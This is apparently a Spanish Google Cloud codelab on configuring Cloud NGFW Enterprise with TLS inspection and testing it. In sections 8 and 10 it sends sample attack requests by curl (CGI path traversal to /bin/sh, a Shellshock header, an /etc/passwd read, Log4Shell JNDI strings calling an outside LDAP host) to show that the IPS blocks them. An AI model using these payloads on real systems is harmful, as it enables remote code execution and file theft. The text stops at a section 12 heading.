Codelab de Cloud NGFW Enterprise [con inspección de TLS]

1. Introducción

Cloud Next Generation Firewall (NGFW)

Cloud Next Generation Firewall es un servicio de firewall completamente distribuido con capacidades de protección avanzadas, microsegmentación y cobertura generalizada para proteger tus cargas de trabajo de Google Cloud de ataques internos y externos.

Cloud NGFW tiene los siguientes beneficios:

  • Servicio de firewall distribuido: Cloud NGFW proporciona una aplicación con estado, completamente distribuida y basada en host en cada carga de trabajo para habilitar la arquitectura de seguridad de confianza cero.
  • Implementación y configuración simplificadas: Cloud NGFW implementa políticas de firewall jerárquicas y de red que se pueden adjuntar a un nodo de jerarquía de recursos. Estas políticas proporcionan una experiencia de firewall coherente en toda la jerarquía de recursos de Google Cloud.
  • Control detallado y microsegmentación: la combinación de políticas de firewall y etiquetas controladas por Identity and Access Management (IAM) proporciona un control detallado del tráfico norte-sur y este-oeste, hasta una sola VM, en las redes y organizaciones de nube privada virtual (VPC).

Cloud NGFW está disponible en los siguientes niveles:

  • Cloud Next Generation Firewall Essentials
  • Cloud Next Generation Firewall Standard
  • Firewall Enterprise de nueva generación de Cloud

Cloud NGFW Enterprise

Cloud NGFW Enterprise agrega el Servicio de prevención de intrusiones (IPS), una capacidad de capa 7, a la estructura de firewall distribuida de Google Cloud. Se admite la inspección de TLS para permitir la inspección del tráfico encriptado con TLS.

Ahora puedes implementar inspecciones confiables de firewall de nueva generación (NGFW) de capa 7 con controles detallados, sin hacer cambios en la arquitectura de la red ni en los parámetros de configuración de enrutamiento.

Para activar e implementar el control de firewall de capa 7 con IPS, debes realizar las siguientes tareas:

  • Crear un conjunto de extremos de firewall zonales administrados por Google Cloud.
  • Opcionalmente, crea una política de inspección de TLS.
  • De manera opcional, crea una configuración de confianza.
  • Asocia estos extremos a las redes de nube privada virtual (VPC) en las que necesitas el servicio Cloud NGFW Enterprise.
  • Realiza cambios sencillos a tus políticas y reglas de firewall existentes para especificar los perfiles de prevención de amenazas para las diversas rutas de tráfico.

Políticas de firewall de red

La política de firewall de red actúa como un contenedor para las reglas de firewall. Las reglas definidas en una política de firewall de red no se aplican en ningún lugar hasta que la política esté asociada con una red de VPC. Cada red de VPC puede tener una política de firewall de red asociada. Las políticas de firewall de red admiten etiquetas controladas por IAM (o solo etiquetas) en las reglas de firewall, que reemplazan las etiquetas de red actuales y se pueden usar para proporcionar identidad a la carga de trabajo.

Compartir una política de firewall de red entre redes y la integración con etiquetas controladas por IAM simplifica en gran medida la configuración y la administración de los firewalls.

Con la introducción de la política de firewall de red, las políticas de firewall de Google Cloud ahora consta de los siguientes componentes:

  1. Política de firewall jerárquica
  2. Reglas de firewall de VPC
  3. Política de firewall de red ( global y regional)

Las políticas de firewall jerárquicas son compatibles con los nodos de la organización y la carpeta dentro de la jerarquía de recursos, mientras que las reglas de firewall de VPC y las políticas de firewall de red se aplican a nivel de VPC. Una gran diferencia entre las reglas de firewall de VPC y las políticas de firewall de red es que las reglas de firewall de VPC pueden aplicarse solo a una red de VPC, mientras que las políticas de firewall de red se pueden vincular a una sola VPC o grupo de VPC, entre otros beneficios, como las actualizaciones por lotes.

Por último, también están las reglas de firewall implícitas que se incluyen en cada red de VPC:

  • Una regla de salida cuya acción es permitir, el destino es 0.0.0.0/0
  • Una regla de entrada cuya acción es denegar, el origen es 0.0.0.0/0

De forma predeterminada, la secuencia de aplicación se muestra en el siguiente diagrama:

21b3bcabc469ffe.png

Ten en cuenta que se puede intercambiar el orden de aplicación entre las reglas de firewall de VPC y la política de firewall de red global. Los clientes pueden especificar el orden de aplicación en cualquier momento con un comando de gcloud.

Etiquetas

Las nuevas etiquetas integradas en las reglas de políticas de firewall de red son recursos de pares clave-valor definidos a nivel de la organización o a nivel de proyecto de la jerarquía de recursos de Google Cloud. Este tipo de Tag contiene controles de acceso de IAM que especifican quién puede hacer qué en el rótulo. Los permisos de administración de identidades y accesos (IAM), por ejemplo, permiten que se especifique qué principales pueden asignar valores a las etiquetas y qué principales pueden adjuntar etiquetas a los recursos. Si una regla de firewall de red hace referencia a una etiqueta, debe aplicarse a un recurso para su aplicación.

Las etiquetas se adhieren al modelo de recursos de herencia de Google Cloud, lo que significa que las etiquetas y sus valores se transmiten hacia abajo en la jerarquía desde sus elementos superiores. Como resultado, las etiquetas se pueden crear en un lugar y, luego, usarse en otras carpetas y proyectos de la jerarquía de recursos. Visita esta página para obtener detalles sobre las etiquetas y las restricciones de acceso.

Las etiquetas no deben confundirse con las etiquetas de red. Las últimas son cadenas que pueden agregarse a instancias de Compute Engine. se asocian con la instancia y desaparecen cuando la instancia se retira. Las reglas de firewall de VPC pueden incluir etiquetas de red, pero como no se consideran recursos de la nube, no están sujetas al control de acceso de IAM.

Ten en cuenta que las etiquetas y las etiquetas controladas por IAM se usan indistintamente en este documento.

Qué compilarás

Este codelab requiere un solo proyecto y la capacidad de crear una red de VPC, así como administrar una serie de recursos de red y seguridad. Demostrará cómo Cloud NGFW Enterprise puede proporcionar la funcionalidad IPS de la siguiente manera:

  • Inspecciona flujos de Internet hacia el norte con la inspección de TLS
  • Inspecciona flujos intra-vpc [este-oeste] con inspección de TLS

Los flujos que se inspeccionarán se seleccionarán con los parámetros de coincidencia del firewall de Cloud, que incluyen 5 tuplas (IP de origen, IP de destino, protocolo, puerto de origen, puerto de destino) y etiquetas.

3d0f288d3b92a295.png

El estado final de la base de reglas de políticas de firewall de red será similar a la siguiente tabla:

Prioridad

Dirección

Destino

Origen

Destino

Acción

Tipo

100

Entrada

Server_Tag

Verificaciones de estado

Cualquiera

Permitir

Imprescindibles

200

Entrada

Client_Tag, Server_Tag

IAP

Cualquiera

Permitir

Imprescindibles

800

Entrada

Server_Tag

10.0.0.0/24

10.0.0.0/24

Inspección L7

Enterprise

850

Salida

Client_Tag

Cualquiera

10.0.0.0/24

Permitir

Imprescindibles

900

Salida

Client_Tag

Cualquiera

Cualquiera

Inspección L7

Enterprise

Qué aprenderás

  • Cómo crear una política de firewall de red
  • Cómo crear y usar etiquetas con la política de firewall de red
  • Cómo configurar y usar Cloud NGFW Enterprise con inspección de TLS.

Requisitos

  • proyecto de Google Cloud.
  • Conocimiento sobre la implementación de instancias y la configuración de componentes de red
  • Conocimientos de la configuración del firewall de VPC.

2. Antes de comenzar

Cómo crear o actualizar variables

En este codelab, se usa $variables para facilitar la implementación de la configuración de gcloud en Cloud Shell.

En Cloud Shell, ejecuta los siguientes comandos y reemplaza la información entre corchetes según sea necesario:

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=ngfw-enterprise
export billing_project=[billing-project-id]

3. Habilita las APIs

Habilita las APIs si aún no lo has hecho:

gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Creación de extremos empresariales de Cloud NGFW

Dado que la creación del extremo empresarial de Cloud NGFW tarda alrededor de 20 minutos, se creará primero y la configuración base se puede realizar en paralelo mientras se crea el extremo.

Crea el perfil de seguridad y el grupo de perfiles de seguridad:

gcloud network-security security-profiles threat-prevention \
  create $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat

Resultado esperado:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.

Confirma que los recursos se hayan creado de forma correcta:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

Resultado esperado (ten en cuenta que el formato de salida puede variar según el cliente que se utilice:

NAME: ngfw-enterprise-sp-threat

NAME: ngfw-enterprise-spg

Crea el extremo Enterprise de Cloud NGFW:

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing

Ejecuta el siguiente comando para confirmar que se está creando el extremo (CREATING).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Resultado esperado (ten en cuenta que el formato del resultado puede variar según el cliente que se utilice):

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

También puedes ejecutar el siguiente comando para obtener más detalles:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

Resultado esperado:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: CREATING
updateTime: '2023-11-16T04:27:17.677731831Z'

El proceso de creación tarda alrededor de 20 minutos. Continúa con la sección Configuración básica para crear los recursos necesarios en paralelo.

5. Configuración básica

Red y subred de VPC

Red y subred de VPC

Crea la red y subred de VPC:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

Crea el Cloud Router y la puerta de enlace de Cloud NAT:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

Instancias

Crea las instancias cliente y web-server:

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils mtr iperf3 tcpdump -y'

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

Etiquetas a nivel del proyecto

Asigna el permiso de TagAdmin al usuario si es necesario:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

Crea la clave y los valores de la etiqueta a nivel del proyecto:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

Vincula las etiquetas a las instancias:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

Política de firewall de red global

Crea una política de firewall de red global:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise with TLS" --global

Crea las reglas de Cloud Firewall Essentials necesarias para permitir el tráfico de los rangos de la verificación de estado y del proxy de reconocimiento de identidad:

gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20

Crea las reglas de firewall de Cloud necesarias para permitir el tráfico de entrada de este a oeste o dentro de la subred desde los rangos específicos (estas reglas se actualizarán para habilitar Cloud NGFW Enterprise con inspección de TLS):

gcloud compute network-firewall-policies rules create 800 \
        --description "allow ingress internal traffic from tagged clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --src-ip-ranges=10.0.0.0/24 \
        --dest-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

Asocia la política de firewall de nube a la red de VPC:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

6. Asociación de extremos de firewall de la nube

Define las variables de entorno en caso de que aún no lo hayas hecho o prefieras el enfoque de secuencia de comandos.

Confirma que se completó correctamente la creación del extremo de firewall de Cloud. Continúa solo una vez que el estado se muestre como ACTIVE (durante la creación, el estado esperado será CREATING):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Resultado esperado (ten en cuenta que el formato del resultado puede variar según el cliente que se utilice):

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

También puedes ejecutar el siguiente comando para obtener más detalles:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

Resultado esperado:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T04:49:53.776349352Z'

Asocia el extremo de firewall de Cloud a la red de VPC:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

El proceso de asociación tarda unos 10 minutos. Continúa con la sección de TLS solo cuando el estado se muestre como ACTIVE (durante la creación, el estado esperado será CREATING):

gcloud network-security firewall-endpoint-associations list

Resultado esperado cuando se completa:

ID: ngfw-enterprise-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

También puedes ejecutar el siguiente comando para obtener más detalles:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

Resultado esperado:

createTime: '2023-11-16T04:57:06.108377222Z'
firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association
network: projects/$project_id/global/networks/$prefix-vpc
state: ACTIVE
updateTime: '2023-11-16T04:57:06.108377222Z'

7. Configurar recursos de TLS

Crea un grupo de AC. Este recurso se utilizará para alojar el certificado de la AC raíz que generemos para NGFW Enterprise.

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise

Crea la AC raíz. Este es el certificado de la AC que se usará para firmar certificados adicionales para las solicitudes a través de NGFW Enterprise.

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"

Si aparece el siguiente mensaje, responde y:

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)?

Crea una cuenta de servicio. Esta cuenta de servicio se usará para solicitar certificados de NGFW Enterprise:

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

Configura los permisos de IAM para la cuenta de servicio:

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

Crea el archivo YAML de la política de TLS. Este archivo contendrá información sobre los recursos específicos:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

Importa la política de inspección de TLS:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

Actualiza la asociación de extremos para habilitar TLS:

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

Obtén el certificado de la AC y agrégalo al almacén de AC del cliente:

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

Transfiere el certificado de la AC al cliente:

gcloud compute scp --tunnel-through-iap  ~/$prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

Establece una conexión SSH a la VM, mueve el certificado de la AC a /usr/local/share/ca-certificates y actualiza el almacén de AC:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

Regresa a cloudshell.

Proceso de firma de certificados del servidor:

En Cloud Shell, instala la biblioteca de criptografía de Pyca con el comando de pip:

pip install --user "cryptography>=2.2.0"

Para permitir que el SDK de Google Cloud use la biblioteca de criptografía de Pyca, debes habilitar los paquetes de sitios.

export CLOUDSDK_PYTHON_SITEPACKAGES=1

Crea el certificado de servidor:

gcloud privateca certificates create --issuer-location=$region \
  --issuer-pool $prefix-CA-Pool \
  --subject "CN=Cloud NGFW Enterprise,O=Google" \
  --ip-san=10.0.0.3 \
  --generate-key \
  --key-output-file=./key.pem \
  --cert-output-file=./cert.pem

Esto generará los archivos cert.pem y key.pem en cloudshell. A continuación, transfiere el certificado y la clave al servidor.

gcloud compute scp --tunnel-through-iap  ~/cert.pem  $prefix-$zone-www:~/  --zone=$zone

gcloud compute scp --tunnel-through-iap  ~/key.pem  $prefix-$zone-www:~/  --zone=$zone

Establece una conexión SSH al servidor para actualizar los detalles del certificado de Apache:

gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone

Mueve el certificado y la clave a una carpeta específica:

sudo mv cert.pem /etc/ssl/certs/
sudo mv key.pem /etc/ssl/private/

Actualiza la configuración de SSL para usar un certificado firmado:

sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf 

sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf

Reinicia Apache:

sudo systemctl restart apache2

Verifica el estado de Apache:

sudo systemctl status apache2

Debe estar activa (en ejecución).

Sal de la VM y continúa en Cloud Shell.

8. Valida la conectividad hacia el norte y E/W

Ejecuta en Cloud Shell los siguientes comandos y anota las IP de destino que se usarán:

gcloud compute instances list --filter="name=($prefix-$zone-www)"

Abre una pestaña nueva y, luego, inicia una conexión SSH a la VM del cliente a través de IAP (deberás definir las variables en la pestaña nueva):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Ejecuta los siguientes comandos y anota las IP de destino que se usarán. Para crear las variables, reemplaza los valores entre corchetes con las IP indicadas del paso anterior y asegúrate de que se pueda acceder a ellas:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

Curve la IP privada y asegúrate de que sea accesible:

curl https://$target_privateip --max-time 2

Resultados esperados para la solicitud curl:

Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone

Envía ataques de muestra a la IP. El servidor web debe responder a todas las solicitudes y confirmar que no hay inspección ni prevención de L7 implementada:

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

Resultados esperados de muestra (IP privada):

400
404
400
200
200

Del mismo modo, envía solicitudes a un destino de Internet:

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

Ejemplo de resultados esperados (destino de Internet):

400
404
400
403
403

Sal de la terminal de la VM y regresa a Cloud Shell.

9. Crea y actualiza las reglas de firewall para la inspección de TLS

Anteriormente, configuramos una regla de firewall para permitir la entrada de tráfico a nuestro servidor desde la subred interna. Ahora, actualizaremos las reglas de entrada existentes y configuraremos la acción apply_security_profile_group. Esto habilitará la inspección de E/W L7 con TLS:

gcloud compute network-firewall-policies rules update 800 \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect

Crea una regla nueva para inspeccionar la inspección de L7 con dirección norte con TLS.

gcloud compute network-firewall-policies rules create 900 \
        --description "Inspect egress traffic over TCP 443" \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=0.0.0.0/0 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
      --tls-inspect

Crea una regla nueva para permitir EGRESS para E/W y evitar la doble inspección.

gcloud compute network-firewall-policies rules create 850 \
        --description "Prevent double inspection" \
        --action=ALLOW \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=10.0.0.0/24 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client

10. Validación de la inspección de TLS hacia el norte

Vuelve a la pestaña de la VM del cliente o vuelve a conectarte:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Envía los ataques de muestra a un destino de Internet:

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

No se reciben respuestas según el resultado esperado a continuación, lo que confirma que los ataques de muestra ahora se están bloqueando:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

Configura la variable como la IP del servidor anterior:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

Envía solicitudes TLS de muestra al servidor:

curl https://$target_privateip --max-time 2

Resultado esperado:

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

¿Por qué falló esta solicitud? Esto se debe a que el firewall recibe un certificado del servidor que no es de confianza. Si esto ocurre, pasará un certificado autofirmado al cliente. Debemos agregar el certificado de la AC como parte de una configuración de confianza para habilitar la confianza.

Regresa a Cloud Shell.

11. Configura la configuración de confianza

Obtén el certificado de la AC raíz y configúralo como una variable con el formato adecuado.

export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/      /')

Configura el archivo YAML de configuración de confianza. Este archivo contiene detalles de confianza, como los certificados de la AC:

cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
${NGFW_ROOT_CA}
EOF

Los comandos anteriores incluían tu certificado de la AC raíz como parte del almacén de confianza, ya que tu certificado de servidor se firmó con la AC raíz. Esto significa que el firewall confiará en cualquier certificado que reciba y que haya firmado tu AC raíz, además de las AC públicas, si tu política de TLS establece el parámetro posPublicCaSet como falso.

Verifica el contenido de la configuración de confianza.

cat trust_config.yaml

Resultado de muestra:

Presta mucha atención a la alineación de sangrías del certificado. Debe seguir este formato exactamente.

name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
     -----BEGIN CERTIFICATE-----
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRS
      -----END CERTIFICATE-----

Importa la configuración de confianza:

gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml

Actualiza el archivo YAML de la política de TLS para incluir la configuración de confianza:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
minTlsVersion: TLS_1_1
tlsFeatureProfile: PROFILE_COMPATIBLE
trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config
EOF

Importa la política de TLS actualizada:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

12. Validación de la inspección de TLS E/W

